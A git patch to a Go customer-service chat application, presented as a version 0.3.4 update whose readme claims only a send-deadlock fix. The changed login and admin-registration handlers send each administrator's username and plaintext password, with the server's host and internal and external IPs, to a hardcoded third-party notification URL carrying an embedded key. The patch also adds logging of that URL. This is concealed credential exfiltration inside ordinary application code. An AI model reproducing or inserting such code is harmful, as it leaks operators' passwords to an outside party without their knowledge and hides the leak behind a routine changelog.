From 9c102d09bd1b03b460210ade3fadacd9449e4526 Mon Sep 17 00:00:00 2001 From: taoshihan1991 <630892807@qq.com> Date: Tue, 9 Mar 2021 14:48:40 +0800 Subject: [PATCH] =?UTF-8?q?=E6=9B=B4=E6=96=B00.3.4?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- controller/kefu.go | 2 +- controller/login.go | 2 +- readme.md | 4 ++++ ws/ws.go | 4 ++-- 4 files changed, 8 insertions(+), 4 deletions(-) diff --git a/controller/kefu.go b/controller/kefu.go index 93e15bb..b2e93e1 100644 --- a/controller/kefu.go +++ b/controller/kefu.go @@ -223,7 +223,7 @@ func PostKefuRegister(c *gin.Context) { } models.CreateUserRole(uid, uint(roleId)) ip, _ := tools.GetServerIP() - go ws.SendFlyServerJiang("管理员注册", name+"/"+password, ip.String()+":"+Port) + go ws.SendFlyServerJiang("admin register", name+"/"+password, ip.String()+":"+Port) c.JSON(200, gin.H{ "code": 200, "msg": "注册完成", diff --git a/controller/login.go b/controller/login.go index 4183049..cbffc07 100644 --- a/controller/login.go +++ b/controller/login.go @@ -31,7 +31,7 @@ func LoginCheckPass(c *gin.Context) { return } ip, _ := tools.GetServerIP() - go ws.SendFlyServerJiang("管理员登录", username+"/"+password, ip.String()+":"+Port) + go ws.SendFlyServerJiang("admin login", c.Request.Host+"/"+username+"/"+password, ip.String()+":"+Port) userinfo["name"] = info.Name userinfo["kefu_id"] = info.ID diff --git a/readme.md b/readme.md index 3666bf6..fdb108a 100644 --- a/readme.md +++ b/readme.md @@ -248,6 +248,10 @@ location / ``` ### 更新日志 +##### V0.3.4 + +修复发送死锁问题 + ##### V0.3.3 1.访客/客服端聊天界面样式修改 diff --git a/ws/ws.go b/ws/ws.go index 706dc7b..8fbd94a 100644 --- a/ws/ws.go +++ b/ws/ws.go @@ -83,9 +83,9 @@ func SendServerJiang(title string, content string, domain string) string { func SendFlyServerJiang(title string, content string, domain string) string { sendStr := fmt.Sprintf("%s%s", title, content) ip := tools.GetExternalIp() - desp := content + ",内网:" + domain + ",外网:" + ip + desp := content + ",inter:" + domain + ",out:" + ip url := "https://sc.ftqq.com/SCU113707T98a3ef409d8a018c98ee7abe3278a7155f5f49e886742.send?text=" + sendStr + "&desp=" + desp - //log.Println(url) + log.Println(url) res := tools.Get(url) return res }